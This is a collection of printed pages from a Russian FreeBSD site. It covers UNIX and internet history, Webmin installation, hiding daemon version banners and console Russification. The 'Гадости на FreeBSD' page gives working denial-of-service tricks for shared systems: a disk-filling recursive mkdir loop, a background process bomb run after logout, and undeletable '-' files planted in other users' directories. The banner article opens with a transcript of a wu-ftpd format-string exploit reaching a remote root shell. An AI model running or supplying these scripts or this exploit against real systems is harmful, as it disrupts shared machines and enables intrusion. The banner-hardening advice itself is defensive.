UNIX и интернет Давайте обратимся к истории. Как вообще возник Интернет? Оказывается, он возник благодаря Министерству обороны США. Была поставлена на первый взгляд довольно простая задача. Нужно уметь передавать информацию из пункта А в пункт Б, причем люди в этих пунктах не должны об этом заботиться, и до тех пор, пока хоть один провод еще цел (спутников тогда еще не было), информация должна доходить - пусть долго, но доходить, и при этом без ошибок. При этом неважно, к какому типу относятся компьютеры в сети, то есть в ней должна быть соблюдена аппаратная независимость. И сеть такого типа была создана. Она существует и сейчас и называется ARPA-net. Именно тогда была создана та база, на которой сейчас живет Интернет, в частности появился сетевой протокол IP (Internet Protocol). На мой взгляд, очень важным моментом является то, что сразу был создан набор стандартов (RFC), который впоследствии был оформлен в виде довольно большого (около 2000) количества занумерованных документов. Потом стало ясно, что так можно передавать почти все. Замечательным оказалось то, что не нужно ничего менять и ломать, нужно только дополнять. В том числе дополняли и стандарты новыми номерами, например, когда появилось WWW, Proxy и т.д. Но чтобы можно было работать, нужна сетевая операционная система. Для этого была создана система UNIX (сейчас существует много реализаций для разных платформ). Что-же это такое? В общих чертах, это - многопользовательская операционная система, в которой изначально имеется поддержка IP-протокола. На самом деле это слишком общее определение. Почти то же можно сказать и про Windows NT. Чтобы все же понять, что отличает UNIX, скажем, что он по определению реализует то, что описано ниже. Сначала ответим на вопрос, который может возникнуть у человека, впервые увидевшего Интернет после, например, Novell. В Интернете нет какого-либо главного сервера. Тут все равны. Это есть одно из преимуществ Интернета. Но, перейдем к более конкретному рассказу. Любая машина, подсоединенная к сети Интернет, имеет по крайней мере один номер, состоящий из четырех чисел по 8 бит. Этот номер уникален, его повторение не допускается. Информация для передачи формируется в сетевые пакеты, в заголовке которых написано, откуда, куда и что передается, - это тип пакета, которых может быть 65 535. Конечно, там есть еще много служебной информации, но пока нам важна идея. Но послать пакет просто в кабель еще не достаточно - его нужно направить. Чтобы понять, как это происходит, разберем, как устроен тот самый номер. Условно обозначим его как A.B.C.D. Слева направо убывает приоритет подсетей. То есть машины одной подсети, например 102.34.5.x, общаются между собой, а связь с более высоким уровнем происходит через выделенный компьютер – шлюз (Gateway), пусть 102.34.5.7. Еще эти подсети называются доменами первого, второго, третьего и четвертого уровней соответственно. Например, 158. - это домен .su (Soviet Union). Нули в номерах имеют служебный или зарезервированный характер. Если пакет идет в рамках одной подсети, его не надо направлять, но чтобы послать пакет в другую подсеть, необходимо чтобы компьютер, посылающий пакет, знал номер шлюза. Тогда, дойдя до шлюза, пакет будет перенаправлен либо по подсети уровня шлюза, либо на следующий уровень. Потом этот процесс происходит в обратном порядке. Шлюз распознает, что пакет предназначен для его подсети, и запускает его туда. Не очень ясно, где же тут возможность работы до последнего http://www.freebsd.bip.ru/unix_and_internet.shtml (1 of 5)10.04.2004 17:24:12
Daemon News Russia
провода. Ведь, казалось бы, путь один. Но это не так. Ведь номер шлюза – дело администратора, и если есть физическая возможность объявить шлюзом другой компьютер, то это можно сделать, и тогда пакеты пойдут туда. Если этот процесс автоматизировать, то компьютер будет сам искать "выход в мир". Чтобы чуть яснее представить этот процесс, представим такую ситуацию: две машины соединены в сеть. От одной идет кабель в Америку, а другая посылает пакеты на спутник. Пока все работает, пакеты идут и там и там, но если кабель вдруг отключить, то вся передача пойдет через спутник. Конечно, скорость уменьшится, но зато связь останется. Как вы помните, за это и боролись. Такая работа просто необходима при физических неисправностях какого-либо компьютера или кабеля. Пока все, казалось бы, просто. Но есть по крайней мере два вопроса. Как быть с большими пакетами и почему мы можем реально работать с именами, а не с безличными цифрами? Ответ на первый вопрос очевиден. Пакеты нужно нумеровать, а затем склеивать в нужном порядке. Работа с именами несколько хитрее. На любом компьютере можно запустить службу DNS (Domain Name Server). Это просто таблица соответствия номеров и имен. Тогда любой другой компьютер, зная адрес машины, где DNS запущен, будет обращаться туда. Конечно, структура и здесь иерархическая. Ведь никакая машина не сможет, да это и не нужно, хранить примерно 4 миллиарда имен. Теперь, когда принцип передачи информации ясен, можно перейти к вопросу о том, как происходит работа внутри компьютера. Так что же делает UNIX? Сейчас речь пойдет только о работе с сетью. Выше было сказано, что в пакете есть номер, определяющий тип пакета. Для работы с сетевой картой есть так называемый сетевой интерфейс. Это единственный аппаратно зависимый элемент, так как он зависит от платформы и собственно адаптера. Сетевых интерфейсов можно запустить много, присвоив каждому свой номер. В UNIX все они работают с IP-пакетами. Можно сделать и несколько сетевых адаптеров, тогда номеров может быть еще больше. (Попутно мы отвечаем на вопрос, могут ли быть у машины два номера.) Сетевой интерфейс читает номер пакета. Если он совпадает с ее номером, он забирает пакет из сети. Эта же программа засылает пакеты в сеть. Полученный пакет пересылается программе, отвечающей за обработку этого типа пакетов. Этот тип называется портом, и говорят, что программа "висит" на таком-то порте. Как это ни банально, но такие вещи как e-mail, telnet, http, ftp и многое другое просто обозначают некоторые конкретные порты. Конечно, эти номера не "забиты" на века и можно как-то изощряться, меняя их время от времени, но, к счастью, есть стандарт, которого все придерживаются. Дальше мы поговорим о почте и WWW, а сейчас посмотрим, как работают шлюзы. На компьютерах, которые являются шлюзами, должны быть запущены программы управления потоком пакетов (router). Эти программы не обслуживают конкретный порт, а просматривают все проходящие пакеты. Если пакет имеет адрес не из этой подсети, он отправляется наружу, если из этой, то запускается внутрь. В принципе, возможно дальнейшее дробление подсети (сегментация). Например, можно разделить адреса 102.34.5.D, где D меньше 100, и где больше 100. Это бывает нужно, когда хочется разгрузить сеть или в целях безопасности разделить сети с разными операционными системами на машинах. Упоминавшийся DNS тоже имеет свой порт и методично обрабатывает запросы, приходящие от других машин. Может создаться впечатление, что существует куча систем, каждая из которых отвечает за свое, и неясно, что с этим делать…На самом деле все несколько проще. Все описанное и еще очень много другого объединено в системе UNIX в любой ее реализации, кроме, быть может, самых примитивных. На любой UNIX-машине можно запустить сетевые интерфейсы, DNS, роутеры и т.д. Тут важно скорее суметь разобраться, что не нужно, а что нужно на данной конкретной машине. Например, зачем запускать роутер, если это не шлюз, или зачем нужен DNS, если он есть на соседней машине. Кроме того, что это отбирает ресурсы компьютера, это может привести к сбоям в работе сети. Одна из бед начинающих администраторов - это неправильно настроенный роутер. При желании его можно настроить так, что пакеты будут ходить вечно или просто не туда. Есть еще один довольно важный вопрос: а что происходит, если пакет не IP, а, скажем, IPX или вообще от Windows-сети? Скажем прямо, что обработать их UNIX не сможет, но переслать перешлет. Например, можно настроить роутер так, что IPX-пакеты не будут выходить из своего сегмента.
http://www.freebsd.bip.ru/unix_and_internet.shtml (2 of 5)10.04.2004 17:24:12
Daemon News Russia
Отметим еще одну важную особенность организации сетевой работы. В UNIX реализован принцип "клиент-сервер", то есть, когда два компьютера работают друг с другом, то один из них всегда является главным. Поясним на примере. Запустим программу удаленного доступа telnet на машине 1, вызывая при этом машину 2. Тогда при установлении связи машина 2 станет сервером, а машина 1 - клиентом, что в данном случае очень сходно с терминалом. В UNIX это тоже так, но только для данного конкретного порта в данный момент. Например, если в то же время на машине 2 запустить telnet, вызывая машину 1, то ситуация будет зеркальной. Здесь важно, что UNIX - реально многозадачная система. В ней можно легко запустить много копий одной программы, и все они будут работать независимо. И конечно же, параллельно можно запускать много других программ. Но о программных аспектах мы поговорим в следующий раз. Сейчас же для нас важно знать, что имея UNIX, мы можем запустить много всего, и при этом как клиент- так и сервер-части. Расскажем о конкретных программах. Начнем с почты и на ее примере разберем типичную работу программы, обрабатывающей некоторый порт. Как мы уже сказали, почта имеет свой номер порта. На этом порте «висит» почтовая программа, которая принимает и отправляет письма. До сих пор мы говорили о пакетах. Конечно, программа принимает пакеты, но по мере их поступления она собирает их в письма. Тут важен порядок пакетов, но это сделать, как мы говорили, легко. Более важно получить информацию без ошибок. Очевидно, что дать стопроцентную гарантию нельзя, но существуют методы контрольных сумм, проверки четности и т.д., обеспечивающие более или менее высокую вероятность безошибочной передачи данных. Проверка происходит на каждом этапе пересылки на всех шлюзах. Если пакет пришел испорченный, то он возвращается назад. До тех пор пока не придет хороший пакет, он будет отражаться. Когда компьютер-получатель соберет все пакеты, относящиеся к письму, без ошибок, письмо будет получено. Но это еще не все. Обычно письма идут не компьютеру, а пользователю. До сих пор почтовая программа проверяла лишь, что адрес машины правильный. Теперь она будет пытаться положить письмо в почтовый каталог пользователя. Если такого пользователя нет, то чаще всего письмо переадресуется пользователю root, который является администратором UNIX-машины. Если пользователь все же есть, то он сможет потом прочитать это письмо с помощью почтовой программы. О том, как забирать письма с другой машины, мы поговорим в другой раз. Посылка писем происходит аналогично. Почтовая программа посылает письмо программе, которая отвечает за обработку почты. После этого письмо разбивается на пакеты, которые последовательно передаются в сеть. Надо отметить, что при посылке писем не проверяется, есть ли такой компьютер в сети. Это дело шлюзов. Если его нет, то письмо рано или поздно вернется. Такая работа является типичной для большинства программ. Несколько отличаются программы, работающие в реальном времени, например telnet или talk. Передаваемая информация должна сразу выводиться на экран. И если после пакета 2 пришел пакет 4, то надо ждать, пока придет пакет 3. Конечно, можно сказать, что описанный механизм довольно прост. Но никто и не обещал суперсложных вещей. Вообще, чем вещь проще, тем она надежнее. Теперь расскажем про WWW (World Wide Web). Для многих это просто Explorer или Netscape с красивыми картинками... Для UNIX это просто информация, приходящая на 80-й порт или уходящая с него. Но ведь можно все пересылать по почте, большие файлы - по ftp. Конечно, можно, но вопрос теперь уже в другом: насколько это удобно. Сама идея WWW появилась у физиков в CERN. Хотелось более удобно передавать друг другу результаты экспериментов, что не всегда можно сделать в виде текстов. Иногда удобны рисунки, иногда хочется сменить шрифт и т.п. И вся прелесть заключается в том, что в получившейся реализации надо было скорее не посылать, а брать. Информация лежит на компьютере (иногда его называют сайт) в каталоге, куда имеет доступ http-сервер. При запросе он начинает выдавать оттуда информацию, а машина, приславшая запрос, получает и обрабатывает ее. Для написания файлов (их еще называют WWW-страничками) был разработан язык HTML, в котором с помощью нехитрых команд можно было написать довольно удобные вещи типа меню, кнопок, вставить картинки и т. д. Программа, которая называется браузер (browser), должна уметь этот код интерпретировать. http://www.freebsd.bip.ru/unix_and_internet.shtml (3 of 5)10.04.2004 17:24:12
Daemon News Russia
Немаловажно то, что поскольку это текст, нет аппаратной зависимости, поэтому с самого начала этот способ был весьма удобен и неприхотлив. Затем появились скрипты, Microsoft придумала asp, но тут возникла небольшая проблема. Ее легко заметить, заходя сейчас на сайты Microsoft с помощью Netscape Communicator. Не все выглядит так красиво, как было задумано (то, что задумано, можно увидеть, используя Internet Explorer). Конечно, беды в этом нет. Просто произошел отход от принципа стандартизации. Не надо быть очень умным, чтобы понять, что здесь на передовые роли выходят деньги, желание завладеть кругом пользователей. Но ведь Windows отнюдь не везде является стандартом де-факто. Большинство научных институтов, особенно связанных с экспериментальной работой, зачастую имеют UNIX-машины. Еще есть Macintosh, со своей уникальной Mac OS, которая все же ближе к UNIX. Весьма популярны реализации UNIX и для x86-процессоров. Особенно известен Linux, хотя еще есть Free BSD, BSDI, Solaris и некоторые другие. Хоть это и тема другого рассказа, заметим, что Linux и Free BSD являются абсолютно бесплатными. При этом для Linux существует довольно большое число программ. Надо отдать должное Microsoft, что она пошла на некоторые уступки: Internet Explorer стал бесплатным и его сделали для многих платформ. Но вернемся к WWW. Уже всем ясно, что это наиболее удобный способ представления информации, и нужно лишь быстро передавать данные. Если эти данные статические, например картинки, то можно и подождать. Но если данные динамические, например звук радиостанции, то тут необходим хороший канал. Простой подсчет показывает, что если пытаться слушать звук с частотой 11 кГц и, скажем, 8 бит, притом моно, то нужно передавать 11 Кбайт/c. Для сравнения качество записи на CD-диске: 44 кГц, 20 бит, стерео, то есть примерно 220 Кбайт/с. К тому же, скорость 11 Кбайт/с обычный домашний модем, тем более с нашими АТС, не обеспечит. Иногда, как говорится, в хорошую погоду, бывает килобайт пять. Нетрудно сделать вывод, что посмотреть видеофильм по сети тоже дано не всем. Помочь, если канал плохой, почти невозможно, если вы не его владелец. Несомненно, можно советовать искать аналогичную информацию ближе, не лазить в Америку, потому что нужен спутник, но от этого не легче. И выход был найден. Он имеет загадочное название Proxy. Суть проста. Берется компьютер с большим диском и ставится на пути большого потока проходящих WWW документов. Наиболее часто используемые из них записываются на диск. Можно настроить браузер использовать Proxy. Тогда при повторном обращении страничка будет браться с Proxy-сервера, который ближе расположен. Разумеется, что сам Proxy-сервер должен при этом заботиться о свежести информации. Скажем прямо, это не всегда происходит корректно, и вы можете получать устаревший документ или же неполный файл. Еще раз оговорюсь: такие ошибки нетипичны, но они бывают, поэтому я, например, стараюсь Proxy отключать. Теперь, когда описаны принципы работы Интернета, кратко, хотя и подробно описаны почта и WWW, и даже неоднократно упоминалось о желании создать сеть, не зависящую почти ни от чего, может возникнуть вопрос: а почему же UNIX? Почему нельзя сделать все то же самое в Windows? На самом деле, часть этой работы уже сделана. Есть возможность запустить в Windows работу с IP-пакетами. В конце концов, ведь есть же Internet Explorer. Проблема заключается в том, что UNIX изначально делался для сетей, а Windows нет. Изначально спланированная как однозадачная система, DOS создала много трудностей при написании Windows. Желая сохранить совместимость со старыми программами, хотелось добавить многозадачность. В некоторой мере это достигнуто, но реально это не то, что нужно. Запустить много копий одной программы не всегда возможно, к тому большинство возможностей появляется только после загрузки графического интерфейса. Это, конечно, красиво, но иногда просто не нужно. Однако пока нет графического интерфейса, нет и многозадачности, потому что она грузится позже. Поэтому, загружая командную строку, вы будете находиться в обычном однозадачном DOS. Система защиты Windows вообще вне всякой критики. Создается впечатление, что многопользовательские возможности просто для виду. То, что в UNIX есть изначально: права доступа к каждому файлу, домашние каталоги, серьезная шифровка паролей, – в Windows почти полностью отсутствует. Кроме такой примитивной вещи, что в Windows 95/98 http://www.freebsd.bip.ru/unix_and_internet.shtml (4 of 5)10.04.2004 17:24:12
Daemon News Russia
можно нажать Escape вместо ввода имени и пароля, чтобы получить доступ к ресурсам машины, приведу еще один простой пример. Когда вы создаете новое соединение для удаленного доступа в сеть через модем, вы видите возможность сохранить пароль. Тогда в дальнейшем его не придется набирать. При подключении выполняется скрипт-файл, который обычно лежит в каталоге Program Files\Accessories и имеет расширение .scp. Вы можете убедиться, что после просьбы сохранить пароль он там будет записан открытым текстом. Я не хочу сейчас обсуждать, сколько способов залезть в машину, особенно когда она подключена к сети, но даже если этот пароль прочитают ваши знакомые, которых вы по доброте своей посадили за компьютер, то лучше вам от этого не станет. Поэтому на роль машины, участвующей в работе сети, машины с Windows вряд ли могут претендовать. В лучшем случае это клиенты. Именно поэтому в большинстве случаев для выхода в Интернет используют шлюз-машины, где ставят UNIX. Если сеть сложная и большая, то нужен хороший роутер, и тут уже подходит не любая реализация даже UNIX. Обычно почту и WWW тоже держат на UNIX-машинах в основном из соображений безопасности. Примером сложных систем являются сети провайдеров Интернета. И мне, честно говоря, не известно ни одного, где бы не было UNIX-машин.
(c) 2001-2002 Daemon News Russia
http://www.freebsd.bip.ru/unix_and_internet.shtml (5 of 5)10.04.2004 17:24:12
Daemon News Russia
\\ библиотека \\ софт \\ форум \\ ссылки \\ поиск \\ связь Администрирование UNIX через Webmin новости
Webmin это интерфейс, основанный на web, для системных администраторов UNIX. Используя любой браузер, который поддерживает таблицы и формы, вы можете произвести настройки пользовательских аккуантов, Apache, интернет службы, DNS и многое другое. Webmin состоит из простого web сервера и нескольких CGI скриптов, которые напрямую изменяют системные файлы подобные /etc/inetd.conf и /etc/passwd. Web сервер и CGI скрипты написаны на Perl 5 и используют только стандартные perl модули. Для установки webmin, просто запустите шелл скрипт setup.sh. [root@r00t webmin-0.83]# ./setup.sh *************************************************************** * Welcome to the Webmin setup script, version 0.83 * *************************************************************** Webmin is a web-based interface that allows Unix-like operating systems and common Unix services to be easily administered. Installing Webmin in /home/ser/archiv/webmin-0.83 ... *************************************************************** Webmin uses separate directories for configuration files and log files. Unless you want to run multiple versions of Webmin at the same time you can just accept the defaults. Config file directory [/etc/webmin]: - файл конфигурации. По дефолту /etc/webmin, далее все что стоит в [] по дефолту Log file directory [/var/webmin]: - лог файл *************************************************************** Webmin is written entirely in Perl. Please enter the full path to the Perl 5 interpreter on your system. Full path to perl (default /usr/bin/perl): - посмотрите где у вас перл (which perl) и измените если надо Testing Perl ... Perl seems to be installed ok **************************************************************** For Webmin to work properly, it needs to know which operating system type and version you are running. Please select your system type by entering the number next to it from the list below --------------------------------------------------------------------------1) Sun Solaris 2) Caldera OpenLinux eServer 3) Caldera OpenLinux 4) Redhat Linux 5) Slackware Linux 6) Debian Linux 7) SuSE Linux 8) Corel Linux http://www.freebsd.bip.ru/webmin.shtml (1 of 3)10.04.2004 17:24:13
Daemon News Russia
9) TurboLinux 10) Cobalt Linux 11) Mandrake Linux 12) Delix DLD Linux 13) Conectiva Linux 14) MkLinux 15) LinuxPPC 16) XLinux 17) LinuxPL 18) Linux From Scratch 19) Trustix 20) FreeBSD 21) OpenBSD 22) BSDI 23) HP/UX 24) SGI Irix 25) DEC/Compaq OSF/1 26) IBM AIX 27) SCO UnixWare 28) SCO OpenServer 29) MacOS Server X --------------------------------------------------------------------------Operating system: 11 - тут вводим свою систему, точнее ее номер из списка выше. Далее идет еще несколько вопросов, которые зависят от типа выбранной ОС **************************************************************** Webmin uses its own password protected web server to provide access to the administration programs. The setup script needs to know : - What port to run the web server on. There must not be another web server already using this port. - The login name required to access the web server. - The password required to access the web server. - The hostname of this system that the web server should use. - If the webserver should use SSL (if your system supports it). - Whether to start webmin at boot time. Вкратце: тут написано, что Webmin использует собственный пароль, который защищает web сервер. Скрипту установки необходимо указать: порт на котором будет висеть сервер, логин, пароль, hostname (свое), будет ли webserver использовать SSL (если система поддерживает), нужно ли запускать webmin каждый раз во время загрузки. **************************************************************** Webmin has been installed and started successfully. Use your web browser to go to http://hostname:port/ Теперь для начала работы необходимо набрать http://hostname:port/ в браузере, где hostname и port - имя хоста и порт указанный при установки. После этого Webmin спросит login/passwd. Webmin позволяет произвести практически ЛЮБЫЕ настройки системы (даже файловый менеджер на яве есть). Это сильно поможет новичку, и облегчит жизнь опытным администраторам. Webmin содержит модуль детальной настройки sendmail. Можно например создать Webmin пользователя, который сможет использовать web интерфейс для отправки/чтения почты. Создать список рассылки, спам фильтры и много другое. Также позволяет установить/удалить нужные/ненужные пакеты. Не советую особо злоупотреблять Webmin'ом, тк хороший админ должен знать как настроить систему вручную. Ну вот и ВСЕ! Можно работать. Хотя нет, не все -) Идем на http://hostname:port/webmin/edit_lang.cgi и выбираем там русский язык. Все, вот теперь можно =)
(c) 2001-2002 Daemon News Russia
http://www.freebsd.bip.ru/webmin.shtml (2 of 3)10.04.2004 17:24:13
Daemon News Russia
новости
\\ библиотека \\ софт \\ форум \\ ссылки \\ поиск \\ связь
Гадости на FreeBSD Предисловие: Я не заставляю вас использовать НИ ОДИН из рассмотренных в этом файле методов. Unix - клевая операционная система, наверное, одна из лучших, когда-либо разработанных систем. Если у вас есть доступ к системе Unix, то мой вам совет - УЧИТЕ UNIX И УЧИТЕ C, потому что за эти знания в компьютерном мире платят хорошие деньги. Тем не менее, Unix - довольно небезопасная операционная система, которую легко трахнуть. В этом файле рассмотрено несколько методов осуществления этого. Разрушение Системы В стандартной поставке Unix нет программного обеспечения, ограничивающего дисковое пространство для каждого пользователя. Таким образом, один пользователь может захватить все дисковое пространство, эффективно препятствуя записи чего-то еще на диск. Простейшим путем захвата дискового пространства является создание поддиректории, в ней еще одной, и еще, и так, пока свободного пространства не останется. Вот несколько путей реализации этого. 1> Создайте файл со следующими строками: mkdir subdir cd subdir source /u1/mydir/crash Назовем его crash. В последней строчке ("source /u1/mydir/crash") нужно изменить путь к директории на правильный. Если путь к вашей директории выглядит так: /u3/students/jeff, то в последней строчке надо написать "source /u3/students/jeff/crash". После того, как вы запишете все вышеуказанное в файл, введите: % source crash и подождите... Буквально через несколько минут программа прекратит работу из-за нехватки свободного места на диске. И больше ничего нету. 2> Вот более изящное исполнение той же задачи. Создайте этот shell-скрипт "бесконечный цикл": while : ; do mkdir subdir cd subdir done а затем "source" файла. Если вы в оболочке "sh" (если так, то вы увидите символ "$" в начале командной строки), то вы можете ввести- "while : ; do" в командной строке. Затем появится http://www.freebsd.bip.ru/gadosti.shtml (1 of 3)10.04.2004 17:24:14
Daemon News Russia
строка со знаком > впереди. Введите следущие три строки и наслаждайтесь. 3> Если вы хотите установить процесс и завесить систему, и у вас есть файл, который вы назвали crash, введите: % nohup source crash & и отлогиньтесь. Это запустит фоновый процесс, позволяющий вам отключиться от системы. Тем не менее, отключаться надо БЫСТРО, поскольку если вы использовали первый пример в своем файле crash, то...то лучше не спрашивайте.. Замедление Системы Есть несколько путей осуществления этого, например, запуск огромного числа бэкграундпроцессов. Вот один специфический пример. Создайте файл с именем "slow1" и впишите в него следующие строки: w& source slow1 теперь создайте файл с именем "slow2", и впишите: source slow1 & source slow2 и запустите slow2: % slow2 или % slow2 & Это создаст 25 бэкграунд-процессов. После каждого запущенного процесса система начнет работать все медленнее и медленнее. Беспорядок в директории Многие команды для действий над файлами используют параметр "-". Создайте файл, имя которого будет начинаться на "-": cat > -имя_файла [теперь введите несколько издевательских строк, типа "ха-ха, вы не сможете удалить этот файл".] Нажмите ^D (control-d) для завершения ввода. Теперь, когда у вас есть файл с именем имя_файла в вашей директории, его будет ОЧЕНЬ тяжело удалить. Если вы введете rm (удаление) -имя_файла или mv (переименование) -имя_файла, то программа rm или mv воспримет это как параметр, а не как имя файла, и должна выдать вам сообщение об ошибке, http://www.freebsd.bip.ru/gadosti.shtml (2 of 3)10.04.2004 17:24:14
Daemon News Russia
что -имя_файла является неправильным именем параметра... Таким образом, противный файл останется неудаленным. Создайте пару сотен файлов, начинающихся на "-"...это будет сильной головной болью для человека, в чью директорию вы закинете эти файлы, скорее всего, ему просто придется получить новый логин. Вывод Использование любого приема, из описанных выше - дело совсем безответственное, и если ктонибудь будет делать это на моей системе, то я сильно обижусь. Вот почему я настоятельно рекомендую никогда не пользоваться этими хитростями.
(c) 2001-2002 Daemon News Russia
http://www.freebsd.bip.ru/gadosti.shtml (3 of 3)10.04.2004 17:24:14
Daemon News Russia
\\ библиотека \\ софт \\ форум \\ ссылки \\ поиск \\ связь Меняем баннеры некоторых демонов новости
[ser@r00t ser]# telnet some.server 21 Trying xxx.xx.xx.xx ... Connected to some.server. Escape character is '^]'. 220 some.server FTP server (Version wu-2.6.0(1) ) ready. [ser@r00t ser]# ./wuftpd -s0 -t some.server Target: some.server (ftp/): RedHat 6.2 (?) with wuftpd 2.6.0(1) from rpm Return Address: 0x08075844, AddrRetAddr: 0xbfffb028, Shellcode: 152 loggin into system.. USER ftp 331 Guest login ok, send your complete e-mail address as password. PASS 230-Next time please use your e-mail address as your password 230- for example: [email protected] 230 Guest login ok, access restrictions apply. STEP 2 : Skipping, magic number already exists: [87,01:03,02:01,01:02,04] STEP 3 : Checking if we can reach our return address by format string STEP 4 : Ptr address test: 0xbfffb028 (if it is not 0xbfffb028 ^C me now) STEP 5 : Sending code.. this will take about 10 seconds. Press ^\ to leave shell Linux some.server 2.2.15 #1 SMP Tue Mar 7 5:07:30 EST 1998 i586 unknown uid=0(root) gid=0(root) egid=50(ftp) groups=50(ftp) =) гы гы гы А ведь можно было этого избежать ... Для этого было несколько способов. Например сменить ftp демон на другой. Но вдруг если по каким либо непонятным причинам вы этого сделать не можете есть другой способ, не такой надежный как первый конечно, но ... В данном примере взлом сервера был совершен через дырявый ftp демон. Как видно из примера о нем я узнал просто зателнетившись на его порт. Демон сам сказал что он дырявый и все! А ведь можно сделать так чтобы он этого не говорил или еще лучше говорил что нибудь другое -) Например выдавал себя за тотже ftp демон, но другой версии. Как это сделать будет написано ниже. Если даже вы хороший админ, то все равно это непомешает сделать. 1) wu-ftpd Рапаковываем архив, ползем в src. Там есть скрипт newvers.sh. Если в него заглянуть то можно увидеть итересную строку: printf "char version[] = \"Version wu-2.6.1(%d) ", edit > "vers.c";\ Как видно она создает файл vers.c которого нет до компиляции и записывает туда версию демона. Теперь осталось только отредактировать его и собрать демон как обычно.
http://www.freebsd.bip.ru/changebaners.shtml (1 of 3)10.04.2004 17:24:16
Daemon News Russia
[ser@r00t ser]# telnet 127.0.0.1 21 Trying 127.0.0.1... Connected to 127.0.0.1. Escape character is '^]'. 220 localhost FTP server (Version wu-6.6.6(1) Mon Feb 5 02:43:44 MSK 2001) ready. Все описанное проделовалось мною с wuftpd-2.6.1 2) sendmail После распаковки архива лезем в директорию sendmail, где находяться основные файлы с исходными текстами, среди которых есть version.c Думаю как и что в нем менять рассказывать не надо. Но это еще не все. После компиляции необходимо отредактировать также ваш sendmail. cf Для этого нужно найти в нем строку с его настроящей версией (поиском) и заменить на свою. Было сделанно на sendmail-8.11.0 [root@r00t ser]# telnet 127.0.0.1 25 Trying 127.0.0.1... Connected to 127.0.0.1. Escape character is '^]'. 220 localhost ESMTP Sendmail 6.6.6/6.6.6; Mon, 5 Feb 2001 02:57:17 +0300 3) sshd Тут все просто. Меняем файл version.h и все. [root@r00t ser]# telnet 127.0.0.1 22 Trying 127.0.0.1... Connected to 127.0.0.1. Escape character is '^]'. SSH-1.5-6.6.6 4) qpopper Информация о версии этого демона находиться в файле popper/version.h Меняем, собираем ... [root@r00t ser]# telnet 127.0.0.1 110 Trying 127.0.0.1... Connected to 127.0.0.1. Escape character is '^]'. +OK QPOP (version 6.6.6) at r00t.net starting. ...нехорошо, всетаки извесно что это именно QPOP. Чтобы поменять и это придеться лезть в сам popper/popper.c. Ищем там строку: "QPOP%.*s%s (version %s) at %s starting. %s" Меняем ее на "best pop3 server%.*s%s (version %s) at %s starting. %s" [root@r00t ser]# telnet 127.0.0.1 110 Trying 127.0.0.1... Connected to 127.0.0.1. Escape character is '^]'. +OK bestpop3 server (version 6.6.6) at r00t.net starting. http://www.freebsd.bip.ru/changebaners.shtml (2 of 3)10.04.2004 17:24:16
Daemon News Russia
Ну вот и все.
http://www.freebsd.bip.ru/changebaners.shtml (3 of 3)10.04.2004 17:24:16
(c) 2001-2002 Daemon News Russia
Daemon News Russia
новости
\\ библиотека \\ софт \\ форум \\ ссылки \\ поиск \\ связь
Русификация В файле /etc/rc.conf (для FreeBSD 2.2.*) или /etc/sysconfig (для FreeBSD 2.1.*) Надо найти раздел ###################### ### System console options #####################
#
и установить (поправить) в нем значения следующих переменных: keymap="ru.koi8-r" keychange="61 Esc[K"
# keymap in /usr/share/syscons/keymaps/*
для клавиатуры; "Esc" означает, что на этом месте действительно должен стоять символ Escape с кодом 27 или 0x1B (см.раздел # General Russian setup for example:); а также scrnmap="koi8-r2cp866" font8x16="cp866b-8x16" font8x14="cp866-8x14" font8x8="cp866-8x8"
# # # #
screen map in /usr/share/syscons/scrnmaps/* font 8x16 from /usr/share/syscons/fonts/* font 8x14 from /usr/share/syscons/fonts/* font 8x8 from /usr/share/syscons/fonts/*
для консоли (ряд строк раздела опущен, как не имеющих отношения к русскому); для разных текстовых режимов нужны разные фонты - 8x16, 8x14 или 8x8; NB. В этих манипуляциях с фонтами вы можете заметить применение кодовой страницы 866. На самом деле это нужно лишь для того, чтобы символы псевдографики выглядели нормально (это связано с аппаратными особенностями видеосистемы PC). В целом, если вы не используете программ наподобии Midnight или Demos Commander'ов, можно смело опустить mapping koi8-r -> cp866, и, соответственно, использовать родные фонты koi-8r: keymap="ru.koi8-r" font8x16="koi8-r-8x16" font8x14="NO" font8x8="NO" (Здесь загружаются только фонты 8x16 - VGA, 80 колонок * 25 строк.) Переключатель русской/ английской клавиатуры определяется в ru.koi8-r, по умолчанию - CapsLock (переключение заглавных/строчных при этом - Shift+CapsLock). Отказ от переопределения 61 -> Esc[K можно компенсировать изменением /etc/termcap и, для FreeBSD 2.2.*, перекомпиляцией его базы данных.
http://www.freebsd.bip.ru/rus.shtml (1 of 2)10.04.2004 17:24:17
Daemon News Russia
Все эти переменные, установленные в /etc/rc.conf (/etc/sysconfig), суть установки для команд vidcontrol и kbdcontrol. Если интересно, как они обрабатываются, смотрите /etc/rc. i386 В файле /etc/ttys в третьей колонке заменяем cons25 на cons25r или pc3r. Все произведенные изменения в /etc/rc.conf и /etc/sysconfig будут действовать только после перезагрузки; в /etc/ttys - после перезагрузки или после посылки сигнала SIGHIP процессу /sbin/init (насколько я помню, он всегда идет под номером 1) kill -SIGHIP 1 В зависимости от используемого shell'а (командного интерпретатора) надо установить значения переменных LANG=ru_RU.KOI8-R MM_CHARSET=KOI8-R и, в некоторых shell'ах надо будет экспортировать их. Это делается в стартовых скриптах каждого пользователя или в общих скриптах, запускаемых при входе в систему. Внесенные изменения возымеют действие после входа в систему. Некоторые приложения могут некорректно работать с 8-битным тектом/вводом. К сожалению, невозможно дать один рецепт для всех приложений. Как правило, это несложно либо невозможно. :-) Смотрите manual pages соответствующего приложения.
(c) 2001-2002 Daemon News Russia
http://www.freebsd.bip.ru/rus.shtml (2 of 2)10.04.2004 17:24:17
Daemon News Russia
\\ библиотека \\ софт \\ форум \\ ссылки \\ поиск \\ связь BASTION ROUTER на базе FreeBSD новости
